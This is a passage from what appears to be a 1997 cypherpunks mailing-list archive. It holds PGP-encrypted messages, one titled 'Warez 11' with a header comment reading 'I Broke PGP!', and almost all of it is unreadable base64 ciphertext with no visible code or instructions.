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
miI6RGeeOjDnT1D1BhAYJf2XvDq3/yQPdsNo0A==
=tv1y
-----END PGP MESSAGE-----




From hg-p at dev.null  Thu Dec 18 00:27:49 1997
From: hg-p at dev.null (Human Gus-Peter)
Date: Thu, 18 Dec 1997 16:27:49 +0800
Subject: Warez 11
Message-ID: <199712180821.AAA16012@toad.com>




-----BEGIN PGP MESSAGE-----
Version: PGP for Business Security 5.5
Comment: "I Broke PGP!"

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
